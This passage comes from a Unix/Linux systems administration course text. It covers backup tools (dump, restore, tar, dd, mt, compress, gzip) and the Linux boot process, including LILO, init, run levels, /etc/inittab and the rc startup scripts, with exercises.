Mount tape volume 1
Enter ``none'' if there are no more tapes
otherwise enter tape name (default: /tmp/backup)
set owner/mode for '.'? [yn] y
restore > quit
[root@beldin]# ls -l passwd
-rw-r--r-- 1 root root 787 Jan 25 15:00 passwd

Alternative
Rather than backup to a normal file on the hard-drive you could choose to backup files
directly to a floppy drive (i.e. use /dev/fd0 rather than /tmp/backup). One
problem with this alternative is that you are limited to 1.44Mb. According to the
"known bugs document" distributed with Linux dump it does not yet support multiple
volumes.

Exercises

11.1 Do a level 0 dump of a portion of your home directory. Examine the file
/etc/dumpdates. How has it changed?
11.2 Use restore to retrieve some individual files from the backup and also to
retrieve the entire backup.

The tar command

David Jones and Bruce Jamieson (2/20/25) Page 304

 85321, Systems Administration Chapter 11: Backups

tar is a general purpose command used for archiving files. It takes multiple files
and directories and combines them into one large file. By default the resulting file is
written to a default device (usually a tape drive). However the resulting file can be
placed onto a disk drive.

tar -function[modifier] device [files]

The purpose and values for function and modifier are shown in Tables 11.5
through 11.7.
When using tar, each individual file stored in the final archive is preceded by a
header that contains approximately 512 bytes of information. Also the end of the file
is always padded so that it occurs on an even block boundary. For this reason, every
file added into the tape archive has on average an extra .75Kb of padding per file.

David Jones and Bruce Jamieson (2/20/25) Page 305

85321, Systems Administration Chapter 11: Backups

Arguments Purpose
function A single letter specifying what should be done, values listed in
Table 11.6
modifier Letters that modify the action of the specified function, values
listed in Table 11.7
files The names of the files and directories to be restored or
archived. If it is a directory then EVERYTHING in that
directory is restored or archived
Ta b l e 11 . 5 .
A r g u m e n t s t o t a r.

Function Purpose
c create a new tape, do not write after last file
r replace, the named files are written onto the end of the tape
t table, information about specified files is listed, similar in
output to the command ls -l, if no files specified all files listed
u * update, named files are added to the tape if they are not
already there or they have been modified since being
previously written
x extract, named files restored from the tape, if the named file
matches a directory all the contents are extracted recursively
* the u function can be very slow
Ta b l e 11 . 6 .
Va l u e s o f t h e f u n c t i o n a r g u m e n t f o r t a r.

Modifier Purpose
v verbose, tar reports what it is doing and to what
w tar prints the action to be taken, the name of the file
and waits for user confirmation
f file, causes the device parameter to be treated as a file
m modify, tells tar not to restore the modification times as
they were archived but instead to use the time of
extraction
o ownership, use the UID and GID of the user running
tar not those stored on the tape
Ta b l e 11 . 7 .
Va l u e s o f t h e m o d i f i e r a r g u m e n t f o r t a r.

If the f modifier is used it must be the last modifier used. Also tar is an example of
a UNIX command where the - character is not required to specify modifiers.

For example:

David Jones and Bruce Jamieson (2/20/25) Page 306

 85321, Systems Administration Chapter 11: Backups

tar -xvf temp.tar tar xvf temp.tar

extracts all the contents of the tar file temp.tar

tar -xf temp.tar hello.dat

extracts the file hello.dat from the tar file temp.tar

tar -cv /dev/rmt0 /home

archives all the contents of the /home directory onto tape, overwriting whatever is
there

Exercises

11.3 Create a file called temp.dat under a directory tmp that is within your
home directory. Use tar to create an archive containing the contents of
your home directory.
11.4 Delete the $HOME/tmp/temp.dat created in the previous question.
Extract the copy of the file that is stored in the tape archive (the term tape
archive is used to refer to a file created by tar) created in the previous
question.

The dd command

The man page for dd lists its purpose as being "copy and convert data".
Basically dd takes input from one source and sends it to a different destination. The
source and destination can be device files for disk and tape drives, or normal files.
The basic format of dd is

dd [option = value ....]

Table 11.8. lists some of the different options available.
Option Purpose
if=name input file name (default is standard input)
of=name output file name (default is standard output)
ibs=num the input block size in num bytes (default is 512)
obs=num the output block size in num bytes (default is
512)
bs=num set both input and output block size
skip=num skip num input records before starting to copy
files=num copy num files before stopping (used when input
is from magnetic tape)
conv=ascii convert EBCDIC to ASCII
conv=ebcdic convert ASCII to EBCDIC
conv=lcase make all letters lowercase

David Jones and Bruce Jamieson (2/20/25) Page 307

85321, Systems Administration Chapter 11: Backups

conv=ucase make all letters uppercase

conv=swab swap every pair of bytes
Ta b l e 11 . 8 .
Options for dd.

David Jones and Bruce Jamieson (2/20/25) Page 308

 85321, Systems Administration Chapter 11: Backups

For example:

dd if=/dev/hda1 of=/dev/rmt4
with all the default settings copy the contents of hda1 (the first partition on the first
disk) to the tape drive for the system

Exercises

11.5 Use dd to copy the contents of a floppy disk to a single file to be stored under
your home directory. Then copy it to another disk.

The mt command

The usual media used in backups is magnetic tape. Magnetic tape is a sequential
media. That means that to access a particular file you must pass over all the tape
containing files that come before the file you want. The mt command is used to send
commands to a magnetic tape drive that control the location of the read/write head of
the drive.

mt [-f tapename] command [count]

Arguments Purpose
tapename raw device name of the tape device
command one of the commands specified in table
11.10. Not all commands are
recognised by all tape drives.
count number of times to carry out command
Ta b l e 11 . 9 .
Parameters for the mt Command.

Commands Action
fsf move forward the number of files specified
by the count argument
asf move forward to file number count
rewind rewind the tape
retension wind the tape out to the end and then rewind
erase erase the entire tape
offline eject the tape
Ta b l e 11 . 1 0 .
Commands Possible using the mt Command.

For example:

David Jones and Bruce Jamieson (2/20/25) Page 309

 85321, Systems Administration Chapter 11: Backups

mt -f /dev/nrst0 asf 3
moves to the third file on the tape

mt -f /dev/nrst0 rewind
mt -f /dev/nrst0 fsf 3
same as the first command
The mt command can be used to put multiple dump/tar archive files onto the one
tape. Each time dump/tar is used, one file is written to the tape. The mt
command can be used to move the read/write head of the tape drive to the end of that
file, at which time dump/tar can be used to add another file.

For example:

mt -f /dev/rmt/4 rewind
rewinds the tape drive to the start of the tape

tar -cvf /dev/rmt/4 /home/jonesd

backs up my home directory, after this command the tape will be automatically
rewound

mt -f /dev/rmt/4 asf 1
moves the read/write head forward to the end of the first file

tar -cvf /dev/rmt/4a /home/thorleym

backs up the home directory of thorleym onto the end of the tape drive
There are now two tar files on the tape, the first containing all the files and
directories from the directory /home/jonesd and the second containing all the files
and directories from the directory /home/thorleym.

Compression programs
Compression programs are sometimes used in conjunction with transport programs to
reduce the size of backups. This is not always a good idea. Adding compression to
a backup adds extra complexity to the backup and as such increases the chances of
something going wrong.

compress

compress is the standard UNIX compression program and is found on every UNIX
machine (well, I don't know of one that doesn't have it). The basic format of the
compress command is

compress filename

David Jones and Bruce Jamieson (2/20/25) Page 310

 85321, Systems Administration Chapter 11: Backups

The file with the name filename will be replaced with a file with the same name
but with an extension of .Z added, and that is smaller than the original (it has been
compressed).
A compressed file is uncompressed using the uncompress command or the -d
switch of compress.

uncompress filename or compress -d filename

For example:

bash$ ls -l ext349*
-rw-r----- 1 jonesd 17340 Jul 16 14:28 ext349
bash$ compress ext349
bash$ ls -l ext349*
-rw-r----- 1 jonesd 5572 Jul 16 14:28 ext349.Z
bash$ uncompress ext349
bash$ ls -l ext349*
-rw-r----- 1 jonesd 17340 Jul 16 14:28 ext349

gzip

gzip is a new addition to the UNIX compression family. It works in basically the
same way as compress but uses a different (and better) compression algorithm. It
uses an extension of .z and the program to uncompress a gzip archive is gunzip.

For example:

bash$ gzip ext349

bash$ ls -l ext349*
-rw-r----- 1 jonesd 4029 Jul 16 14:28 ext349.z
bash$ gunzip ext349

Exercises

11.6 Modify your solution to exercise 11.5 so that instead of writing the contents of
your floppy straight to a file on your hard disk it first compresses the file
using either compress or gzip and then saves to a file.

Conclusions
In this chapter you have
 been introduced to the components of a backup strategy scheduler, transport, and
media

David Jones and Bruce Jamieson (2/20/25) Page 311

85321, Systems Administration Chapter 11: Backups

 been shown some of the UNIX commands that can be used as the transport in a
backup strategy
 examined some of the characteristics of a good backup strategy and some of the
factors that affect a backup strategy

Review questions
11.1.
Design a backup strategy for your system. List the components of your backup
strategy and explain how these components affect your backup strategy.

11.2. Explain the terms media, scheduler and transport.

11.3. Outline the difference between file by file and image transport programs.

David Jones and Bruce Jamieson (2/20/25) Page 312

85321, Systems Administration Chapter 12: Startup and Shutdown

Chapter 12
Startup and Shutdown

Introduction
Being a multi-tasking, multi-user operating system means that UNIX is a great deal
more complex than an operating system like MS-DOS. Before the UNIX operating
system can perform correctly, there are a number of steps that must be followed, and
procedures executed. The failure of any one of these can mean that the system will not
start, or if it does it will not work correctly. It is important for the Systems
Administrator to be aware of what happens during system startup so that any problems
that occur can be remedied.
It is also important for the Systems Administrator to understand what the correct
mechanism is to shut a UNIX machine down. A UNIX machine should (almost) never
be just turned off. There are a number of steps to carry out to ensure that the operating
system and many of its support functions remain in a consistent state.
By the end of this chapter you should be familiar with the startup and shutdown
procedures for a UNIX machine and all the related concepts.

A booting overview
The process by which a computer is turned on and the UNIX operating system starts
functioning – booting - consists of the following steps
 finding the kernel,
The first step is to find the kernel of the operating system. How this is achieved is
usually particular to the type of hardware used by the computer.
 starting the kernel,
In this step the kernel starts operation and in particular goes looking for all the
hardware devices that are connected to the machine.
 starting the processes.
All the work performed by a UNIX computer is done by processes. In this stage,
most of the system processes and daemons are started. This step also includes a
number of steps which configure various services necessary for the system to
work.

David Jones and Bruce Jamieson (2/20/25) Page 313

85321, Systems Administration Chapter 12: Startup and Shutdown

Finding the Kernel

For a UNIX computer to be functional it must have a kernel. The kernel provides a
number of essential services which are required by the rest of the system in order for it
to be functional. This means that the first step in the booting process of a UNIX
computer is finding out where the kernel is. Once found, it can be started, but that's
the next section.

ROM

Most machines have a section of read only memory (ROM) that contains a program
the machine executes when the power first comes on. What is programmed into ROM
will depend on the hardware platform.
For example, on an IBM PC, the ROM program typically does some hardware probing
and then looks in a number of predefined locations (the first floppy drive and the
primary hard drive partition) for a bootstrap program.
On hardware designed specifically for the UNIX operating system (machines from
DEC, SUN etc), the ROM program will be a little more complex. Many will present
some form of prompt. Generally this prompt will accept a number of commands that
allow the Systems Administrator to specify
 where to boot the machine from, and
Sometimes the standard root partition will be corrupt and the system will have to
be booted from another device. Examples include another hard drive, a CD-ROM,
floppy disk or even a tape drive.
 whether to come up in single user or multi-user mode.
As a bare minimum, the ROM program must be smart enough to work out where the
bootstrap program is stored and how to start executing it.
The ROM program generally doesn't know enough to know where the kernel is or
what to do with it.

The bootstrap program

At some stage the ROM program will execute the code stored in the boot block of a
device (typically a hard disk drive). The code stored in the boot block is referred to as
a bootstrap program. Typically the boot block isn't big enough to hold the kernel of
an operating system so this intermediate stage is necessary.
The bootstrap program is responsible for locating and loading (starting) the kernel of
the UNIX operating system into memory. The kernel of a UNIX operating system is
usually stored in the root directory of the root file system under some system-defined

David Jones and Bruce Jamieson (2/20/25) Page 314

85321, Systems Administration Chapter 12: Startup and Shutdown

filename. Newer versions of Linux, including RedHat 5.0, put the kernel into a
directory called /boot.
The most common bootstrap program in the Linux world is a program called LILO.

Reading
LILO is such an important program to the Linux operating system that it has its
own HOW-TO. The HOW-TO provides a great deal of information about the
boot process of a Linux computer.

Booting on a PC
The BIOS on a PC generally looks for a bootstrap program in one of two places
(usually in this order)
 the first (A:) floppy drive, or
 the first (C:) hard drive.
By playing with your BIOS settings you can change this order or even prevent the
BIOS from checking one or the other.
The BIOS loads the program that is on the first sector of the chosen drive and loads it
into memory. This bootstrap program then takes over.

On the floppy

On a bootable floppy disk the bootstrap program simply knows to load the first blocks
on the floppy that contain the kernel into a specific location in memory.
A normal Linux boot floppy contains no file system. It simply contains the kernel
copied into the first sectors of the disk. The first sector on the disk contains the first
part of the kernel which knows how to load the remainder of the kernel into RAM.

Making a boot disk

The simplest method for creating a floppy disk which will enable you to boot a Linux
computer is
 insert a floppy disk into a computer already running Linux
 login as root
 change into the /boot directory
 copy the current kernel onto the floppy
dd if=vmlinuz of=/dev/fd0
The name of the kernel, vmlinuz, may change from system to system. For
example, on some RedHat 5.0 machines it may be vmlinux-2.0.31.

David Jones and Bruce Jamieson (2/20/25) Page 315

85321, Systems Administration Chapter 12: Startup and Shutdown

 tell the boot disk where to find the root disk

rdev /dev/fd0 /dev/hda1
Where /dev/fd0 is the device for the floppy drive you are using and
/dev/hda1 is the device file for your root disk. You need to make sure you
replace /dev/fd0 and /dev/hda1 with the appropriate values for your
system.

David Jones and Bruce Jamieson (2/20/25) Page 316

85321, Systems Administration Chapter 12: Startup and Shutdown

Exercises

12.1 Using the above steps create a boot floppy for your machine and test it out.

Using a boot loader

Having a boot floppy for your system is a good idea. It can come in handy if you do
something to your system which prevents the normal boot procedure from working.
One example of this is when you are compiling a new kernel. It is not unheard of for
people to create a kernel which will not boot their system. If you don't have an
alternative boot method in this situation then you will have some troubles.
However, you can't use this process to boot from a hard-drive. Instead a boot loader
or boot strap program, such as LILO, is used. A boot loader generally examines the
partition table of the hard-drive, identifies the active partition, and then reads and
starts the code in the boot sector for that partition. This is a simplification. In reality
the boot loader must identify, somehow, the sectors in which the kernel resides.

Other features a boot loader (under Linux) offers include

 using a key press to bring up a prompt to modify the boot procedure, and
 the passing of parameters to the kernel to modify its operation

Exercises

12.2 If you have the time, haven't done so already, or know it is destined to failure
read the LILO documentation and install LILO onto your system.
There are some situations where you SHOULD NOT install LILO. These
are outlined in the documentation. Make sure you take notice of these
situations.

Starting the kernel

Okay, the boot strap program or the ROM program has found your system's kernel.
What happens during the startup process? The kernel will go through the following
process
 initialise its internal data structures,
Things like ready queues, process control blocks and other data structures need to
be readied.
 check for the hardware connected to your system,
It is important that you are aware that the kernel will only look for hardware that
it contains code for. If your system has a SCSI disk drive interface your kernel
must have the SCSI interface code before it will be able to use it.
 verify the integrity of the root file system and then mount it, and

David Jones and Bruce Jamieson (2/20/25) Page 317

 85321, Systems Administration Chapter 12: Startup and Shutdown

 create the process 0 (swapper) and process 1 (init).

The swapper process is actually part of the kernel and is not a "real" process. The
init process is the ultimate parent of all processes that will execute on a UNIX
system.
Once the kernel has initialised itself, init will perform the remainder of the startup
procedure.

Kernel boot messages

When a UNIX kernel is booting, it will display messages on the main console about
what it is doing. Under Linux, these messages are also sent to syslog and are by
default appended onto the file /var/log/messages. The following is a copy of the
boot messages on my machine with some additional comments to explain what is
going on.
Examine the messages that your kernel displays during bootup and compare them with
mine.

start kernel logging

Feb 2 15:30:40 beldin kernel: klogd 1.3-3, log source = /proc/kmsg started.
Loaded 4189 symbols from /boot/System.map.
Symbols match kernel version 2.0.31.
Loaded 2 symbols from 3 modules.
Configure the console
Console: 16 point font, 400 scans
Console: colour VGA+ 80x25, 1 virtual console (max 63)
Start PCI software
pcibios_init : BIOS33 Service Directory structure at 0x000f9320
pcibios_init : BIOS32 Service Directory entry at 0xf0000
pcibios_init : PCI BIOS revision 2.00 entry at 0xf0100
Probing PCI hardware.
Calibrating delay loop.. ok - 24.01 BogoMIPS
check the memory
Memory: 30844k/32768k available (736k kernel code, 384k reserved, 804k data)
start networking
Swansea University Computer Society NET3.035 for Linux 2.0
NET3: Unix domain sockets 0.13 for Linux NET3.035.
Swansea University Computer Society TCP/IP for NET3.034
IP Protocols: IGMP, ICMP, UDP, TCP
VFS: Diskquotas version dquot_5.6.0 initialized
check the CPU and find that it suffers from the Pentium bug
Checking 386/387 coupling... Hmm, FDIV bug i586 system
Checking 'hlt' instruction... Ok.
Linux version 2.0.31 ([email protected]) (gcc version 2.7.2.3) #1 Sun Nov 9
21:45:23 EST 1997
start swap
Starting kswapd v 1.4.2.2
start the serialdrivers
tty00 at 0x03f8 (irq = 4) is a 16550A
tty01 at 0x02f8 (irq = 3) is a 16550A
start drivers for the clock, drives
Real Time Clock Driver v1.07
Ramdisk driver initialized : 16 ramdisks of 4096K size

David Jones and Bruce Jamieson (2/20/25) Page 318

 85321, Systems Administration Chapter 12: Startup and Shutdown

hda: FUJITSU M1636TAU, 1226MB w/128kB Cache, CHS=622/64/63

hdb: SAMSUNG PLS-30854A, 810MB w/256kB Cache, CHS=823/32/63
ide0 at 0x1f0-0x1f7,0x3f6 on irq 14
Floppy drive(s): fd0 is 1.44M
FDC 0 is a post-1991 82077
md driver 0.35 MAX_MD_DEV=4, MAX_REAL=8
scsi : 0 hosts.
scsi : detected total.
Partition check:
hda: hda1 hda2 < hda5 >
hdb: hdb1
mount the root file system an start swap
VFS: Mounted root (ext2 filesystem) readonly.
Adding Swap: 34236k swap-space (priority -1)
EXT2-fs warning: mounting unchecked fs, running e2fsck is recommended
sysctl: ip forwarding off
Swansea University Computer Society IPX 0.34 for NET3.035
IPX Portions Copyright (c) 1995 Caldera, Inc.
Appletalk 0.17 for Linux NET3.035
eth0: 3c509 at 0x300 tag 1, 10baseT port, address 00 20 af 33 b5 be, IRQ 10.
3c509.c:1.12 6/4/97 [email protected]
eth0: Setting Rx mode to 1 addresses.

Starting the processes

So at this stage the kernel has been loaded, it has initialised its data structures and
found all the hardware devices. At this stage your system can't do anything. The
operating system kernel only supplies services which are used by processes. The
question is how are these other processes created and executed.
On a UNIX system the only way in which a process can be created is by an existing
process performing a fork operation. A fork creates a brand new process that contains
copies of the code and data structures of the original process. In most cases the new
process will then perform an exec that replaces the old code and data structures with
that of a new program.
But who starts the first process?
init is the process that is the ultimate ancestor of all user processes on a UNIX
system. It always has a Process ID (PID) of 1. init is started by the operating system
kernel so it is the only process that doesn't have a process as a parent. init is
responsible for starting all other services provided by the UNIX system. The services
it starts are specified by init'sconfiguration file, /etc/inittab.

Run levels

init is also responsible for placing the computer into one of a number of run levels.
The run level a computer is in controls what services are started (or stopped) by
init. Table 12.2 summarises the different run levels used by RedHat Linux 5.0. At
any one time, the system must be in one of these run levels.

David Jones and Bruce Jamieson (2/20/25) Page 319

85321, Systems Administration Chapter 12: Startup and Shutdown

When a Linux system boots, init examines the /etc/inittab file for an entry of
type initdefault. This entry will determine the initial run level of the system.

David Jones and Bruce Jamieson (2/20/25) Page 320

85321, Systems Administration Chapter 12: Startup and Shutdown

Run level Description

0 Halt the machine
1 Single user mode. All file systems
mounted, only small set of kernel
processes running. Only root can
login.
2 multi-user mode , without remote file
sharing
3 multi-user mode with remote file
sharing, processes, and daemons
4 user definable system state
5 used for to start X11 on boot
6 shutdown and reboot
a b c ondemand run levels
s or S same as single-user mode, only really
used by scripts
Ta b l e 1 2 . 1
Run levels

Under Linux, the telinit command is used to change the current run level. telinit
is actually a soft link to init. telinit accepts a single character argument from the
following
 0 1 2 3 4 5 6
The run level is switched to this level.
 Q q
Tells init that there has been a change to /etc/inittab (its configuration file)
and that it should re-examine it.
 S s
Tells init to switch to single user mode.

/etc/inittab

/etc/inittab is the configuration file for init. It is a colon delimited field where #
characters can be used to indicate comments. Each line corresponds to a single entry
and is broken into four fields
 the identifier
One or two characters to uniquely identify the entry.
 the run level
Indicates the run level at which the process should be executed
 the action
Tells init how to execute the process
 the process
The full path of the program or shell script to execute.

David Jones and Bruce Jamieson (2/20/25) Page 321

 85321, Systems Administration Chapter 12: Startup and Shutdown

What happens

When init is first started it determines the current run level (by matching the entry in
/etc/inittab with the action initdefault) and then proceeds to execute all of the
commands of entries that match the run level.
The following is an example /etc/inittab taken from a RedHat machine with
some comments added.
Specify the default run level
id:3:initdefault:

# System initialisation.
si::sysinit:/etc/rc.d/rc.sysinit

when first entering various runlevels run the related startup scripts
before going any further
l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6

# Things to run in every runlevel.

ud::once:/sbin/update

call the shutdown command to reboot the system when the use does the
three fingered salute
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

A powerfail signal will arrive if you have a uninterruptable power supply (UPS)
if this happens shut the machine down safely
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"

# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"

Start the login process for the virtual consoles

1:12345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

If the machine goes into runlevel 5, start X

x:5:respawn:/usr/bin/X11/xdm -nodaemon

The identifier

David Jones and Bruce Jamieson (2/20/25) Page 322

 85321, Systems Administration Chapter 12: Startup and Shutdown

The identifier, the first field, is a unique two character identifier. For inittab entries
that correspond to terminals the identifier will be the suffix for the terminals device
file.
For each terminal on the system a getty process must be started by the init process.
Each terminal will generally have a device file with a name like /dev/tty??, where
the ?? will be replaced by a suffix. It is this suffix that must be the identifier in the
/etc/inittab file.

Run levels

The run levels describe at which run levels the specified action will be performed. The
run level field of /etc/inittab can contain multiple entries, e.g. 123, which means
the action will be performed at each of those run levels.

Actions

The action's field describes how the process will be executed. There are a number of
pre-defined actions that must be used. Table 10.2 lists and explains them.

Action Purpose
respawn restart the process if it finishes
wait init will start the process once and wait until it has finished
before going on to the next entry
once start the process once, when the runlevel is entered
boot perform the process during system boot (will ignore the runlevel
field)
bootwait a combination of boot and wait
off do nothing
initdefault specify the default run level
sysinit execute process during boot and before any boot or bootwait
entries
powerwait executed when init receives the SIGPWR signal which indicates a
problem with the power, init will wait until the process is
completed
ondemand execute whenever the ondemand runlevels are called (a b c).
When these runlevels are called there is NO change in runlevel.
powerfail same as powerwait but don't wait (refer to the man page for the
action powerokwait)
ctrlaltdel executed when init receives SIGINT signal (usually when
someone does CTRL-ALT-DEL
Ta b l e 1 2 . 2

David Jones and Bruce Jamieson (2/20/25) Page 323

85321, Systems Administration Chapter 12: Startup and Shutdown

inittab actions

The process

The process is simply the name of the command or shell script that should be executed
by init.

Daemons and Configuration Files

init is an example of a daemon. It will only read its configuration file,
/etc/inittab, when it starts execution. Any changes you make to
/etc/inittab will not influence the execution of init until the next time it
starts, i.e. the next time your computer boots.
There are ways in which you can tell a daemon to re-read its configuration files. One
generic method, which works most of the time, is to send the daemon the HUP signal.
For most daemons the first step in doing this is to find out what the process id (PID) is
of the daemon. This isn't a problem for init. Why?
It's not a problem for init because init always has a PID of 1.
The more accepted method for telling init to re-read its configuration file is to use
the telinit command. telinit q will tell init to re-read its configuration
file.

Exercises

12.3 Add an entry to the /etc/inittab file so that it displays a message HELLO
onto your current terminal (HINT: you can find out your current terminal
using the tty command).
12.4 Modify the inittab entry from the previous question so that the message is
displayed again and again and....
12.5 Take your system into single user mode.
12.6 Take your system into runlevel 5. What happens? (only do this if you have
X Windows configured for your system). Change your system so that it
enters this run level when it boots. Reboot your system and see what
happens.
12.7 The wall command is used to display a message onto the terminals of all
users. Modify the /etc/inittab file so that whenever someone does the
three finger salute (CTRL-ALT-DEL) it displays a message on the consoles of
all users and doesn't log out.
12.8 Examine your inittab file for an entry with the identifier 1. This is the entry
for the first console, the screen you are on when you first start your system.
Change the entry for 1 so that the action field contains once instead of

David Jones and Bruce Jamieson (2/20/25) Page 324

85321, Systems Administration Chapter 12: Startup and Shutdown

respawn. Force init to re-read the inittab file and then log in and log out
on that console.
What happens?

System Configuration
There are a number of tasks which must be completed once during system startup
which must be completed once. These tasks are usually related to configuring your
system so that it will operate. Most of these tasks are performed by the
/etc/rc.d/rc.sysinit script.
It is this script which performs the following operations
 sets up a search path that will be used by the other scripts
 obtains network configuration data
 activates the swap partitions of your system
 sets the hostname of your system
Every UNIX computer has a hostname. You can use the UNIX command
hostname to set and also display your machine's hostname.
 sets the machines NIS domain (if you are using one)
 performs a check on the file systems of your system
 turns on disk quotas (if being used)
 sets up plug'n'play support
 deletes old lock and tmp files
 sets the system clock
 loads any kernel modules.

Terminal logins
In a later chapter we will examine the login procedure in more detail. This is a brief
summary to explain how the login procedure relates to the boot procedure.
For a user to login there must be a getty process (RedHat Linux uses a program
called mingetty, slightly different name but same task) running for the terminal
they wish to use. It is one of init's responsibilities to start the getty processes for all
terminals that are physically connected to the main machine, and you will find entries
in the /etc/inittab file for this.
Please note this does not include connections over a network. They are handled with a
different method. This method is used for the virtual consoles on your Linux machine
and any other dumb terminals you might have connected via serial cables. You
should be able see the entries for the virtual consoles in the example /etc/inittab
file from above.

David Jones and Bruce Jamieson (2/20/25) Page 325

 85321, Systems Administration Chapter 12: Startup and Shutdown

Exercises

12.9 When you are in single user mode there is only one way to login to a Linux
machine, from the first virtual console. How is this done?

Startup scripts
Most of the services which init starts are started when init executes the system
start scripts. The system startup scripts are shell scripts written using the Bourne
shell (this is one of the reasons you need to know the bourne shell syntax). You can
see where these scripts are executed by looking at the inittab file.
l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6
These scripts start a number of services and also perform a number of configuration
checks including
 checking the integrity of the machine's file systems using fsck,
 mounting the file systems,
 designating paging and swap areas,
 checking disk quotas,
 clearing out temporary files in /tmp and other locations,
 startin up system daemons for printing, mail, accounting, system logging,
networking, cron and syslog.
In the UNIX world there are two styles for startup files: BSD and System V. RedHat
Linux 5.0 uses the System V style and the following section concentrates on this
format. Table 12.3 summarises the files and directories which are associated with the
RedHat 5.0 startup scripts. All the files and directories in Table 12.3 are stored in the
/etc/rc.d directory.
Filename Purpose
rc0.d rc1.d rc2.d directories which contain links to scripts which are executed
rc3.d rc4.d rc5.d
when a particular runlevel is entered
rc6.d
XE "rc"rc A shell script which is passed the run level. It then executes the
scripts in the appropriate directory.
XE "init.d"init.d Contains the actual scripts which are executed. These scripts
take either start or stop as a parameter
XE run once at boot time to perform specific system initialisation
"rc.sysinit"rc.sysin steps

David Jones and Bruce Jamieson (2/20/25) Page 326

 85321, Systems Administration Chapter 12: Startup and Shutdown

it
XE the last script run, used to do any tasks specific to your local
"rc.local"rc.local setup that isn't done in the normal SysV setup
XE not always present, used to perform special configuration on
"rc.serial"rc.serial any serial ports
Ta b l e 1 2 . 3
Linux startup scripts

The Linux Process

When init first enters a run level it will execute the script /etc/rc.d/rc (as
shown in the example /etc/inittab above). This script then proceeds to
 determine the current and previous run levels
 kill any services which must be killed
 start all the services for the new run level.
The /etc/rc.d/rc script knows how to kill and start the services for a particular
run level because of the filenames in the directory for each runlevel. The following
are the filenames from the /etc/rc.d/rc3.d directory on my system.

[david@beldin rc.d]$ ls rc3.d

K10pnserver K55routed S40atd S60lpd S85postgresql
K20rusersd S01kerneld S40crond S60nfs S85sound
K20rwhod S10network S40portmap S75keytable S91smb
K25innd S15nfsfs S40snmpd S80sendmail S99local
K25news S20random S45pcmcia S85gpm
K30ypbind S30syslog S50inet S85httpd
You will notice that all the filenames in this, and all the other rcX.d directories, use
the same format.

[SK]numberService
Where number is some integer and Service is the name of a service.
All the files with names starting with S are used to start a service. Those starting
with K are used to kill a service. From the rc3.d directory above you can see
scripts which start services for the Internet (S50inet), PCMCIA cards
(S45pcmcia), a Web server (S85httpd) and a database (S85postgresql).
The numbers in the filenames are used to indicate the order in which these services
should be started and killed. You'll notice that the script to start the Internet services
comes before the script to start the Web server; obviously the Web server depends on
the Internet services.

/etc/rc.d/init.d

If we look closer we can see that the files in the rcX.d directories aren't really files.

David Jones and Bruce Jamieson (2/20/25) Page 327

 85321, Systems Administration Chapter 12: Startup and Shutdown

[david@beldin rc.d]$ ls -l rc3.d/S50inet

lrwxrwxrwx 1 root root 14 Dec 19 23:57 rc3.d/S50inet -> ../init.d/inet
The files in the rcX.d directories are actually soft links to scripts in the
/etc/rc.d/init.d directory. It is these scripts which perform all the work.

Starting and stopping

The scripts in the /etc/rc.d/init.d directory are not only useful during the
system startup process, they can also be useful when you are performing
maintenance on your system. You can use these scripts to start and stop services
while you are working on them.
For example, lets assume you are changing the configuration of your Web server.
Once you've finished editing the configuration files (in /etc/httpd/conf on a
RedHat 5.0 machine) you will need to restart the Web server for it to see the changes.
One way you could do this would be to follow this example

[root@beldin rc.d]# /etc/rc.d/init.d/httpd stop

Shutting down http:
[root@beldin rc.d]# /etc/rc.d/init.d/httpd start
Starting httpd: httpd
This example also shows you how the scripts are used to start or stop a service. If
you examine the code for /etc/rc.d/rc (remember this is the script which runs all
the scripts in /etc/rc.d/rcX.d) you will see two lines. One with $i start
and the other with $i stop. These are the actual lines which execute the scripts.

Lock files
All of the scripts which start services during system startup create lock files. These
lock files, if they exist, indicate that a particular service is operating. Their main use
is to prevent startup files starting a service which is already running.
When you stop a service one of the things which has to occur is that the lock file must
be deleted.

Exercises

12.10 What would happen if you tried to stop a service when you were logged in as
a normal user (i.e. not root)? Try it.

Why won't it boot?

There will be times when you have to reboot your machine in a nasty manner. One
rule of thumb used by Systems Administration to solve some problems is "When in

David Jones and Bruce Jamieson (2/20/25) Page 328

85321, Systems Administration Chapter 12: Startup and Shutdown

doubt, turn the power off, count to ten slowly, and turn the power back on". There will
be times when the system won't come back to you, DON'T PANIC!
Possible reasons why the system won't reboot include
 hardware problems,
Caused by both hardware failure and problems caused by human error (e.g. the
power cord isn't plugged in, the drive cable is the wrong way around)
 defective boot floppies, drives or tapes,
 damaged file systems,
 improperly configured kernels,
A kernel configured to use SCSI drives won't boot on a system that uses an IDE
drive controller.
 errors in the rc scripts or the /etc/inittab file.

Solutions

The following is a Systems Administration maxim

Always keep a separate working method for booting the machine into
at least single user mode.

This method might be a boot floppy, CD-ROM or tape. The format doesn't matter.
What does matter that at anytime you can bring the system up in at least single user
mode so you can perform some repairs.
A separate mechanism to bring the system up single user mode will enable you to
solve most problems involved with damaged file systems, improperly configured
kernels and errors in the rc scripts.

Boot and root disks

The concept of boot and root disk are important to understanding how the booting
process works and also in creating an alternative boot method for your system. The
definitions used are
 boot disk
This is the disk which contains the kernel of your system.
 root disk
The root disk contains the root file system with all the necessary programs and
files required for init to start and setup a minimum of services. This includes
such things as init, /etc/inittab and associated files, /etc/passwd and
other information required to allow people to login plus a whole lot more.
To have a complete alternative boot method you must have both alternative boot and
root disks. The alternative boot disk is useful if you have problems with your kernel.
The alternative root disk is required when you have problems such as a wrongly
configured inittab or a missing /etc/passwd file.

